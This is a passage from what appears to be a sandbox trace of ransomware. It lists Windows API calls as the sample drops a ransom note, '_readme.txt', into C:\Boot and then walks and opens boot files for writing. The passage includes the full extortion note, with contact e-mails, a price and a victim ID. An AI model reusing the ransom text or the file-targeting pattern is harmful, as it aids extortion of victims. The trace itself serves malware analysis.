our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.740] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.740] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.740] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.740] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.740] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.740] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.740] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.740] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.740] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xbba2fd50, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xbba2fd50, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.741] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0111.741] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xbb6c3db0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.741] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0111.741] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.741] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.741] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.741] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0111.741] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.741] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.741] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.741] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0111.741] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.741] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.741] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.741] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05dd8 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.742] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0111.742] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a36050 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360f0 | out: hHeap=0x5010000) returned 1 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36050 | out: hHeap=0x5010000) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.742] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x54) returned 0x7a31720 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36050 | out: hHeap=0x5010000) returned 1 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a427e0 | out: hHeap=0x5010000) returned 1 [0111.742] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.742] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.743] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360c8 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360f0 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36050 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a31720 | out: hHeap=0x5010000) returned 1 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.743] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa8) returned 0x79ab798 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35da8 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d80 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360c8 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ce0 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36050 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.743] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.743] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.743] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfc) returned 0x50f5608 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360c8 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ad8 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35cb8 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360f0 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35da8 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d80 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36050 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ce0 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ce0 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36050 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.744] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.744] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.744] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d80 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360a0 | out: hHeap=0x5010000) returned 1 [0111.745] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360a0 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16c) returned 0x7a617c0 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35da8 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a360f0 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35cb8 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c68 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e98 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36028 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36000 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e70 [0111.745] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35d58 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a360c8 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ad8 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ce0 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36050 | out: hHeap=0x5010000) returned 1 [0111.745] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d80 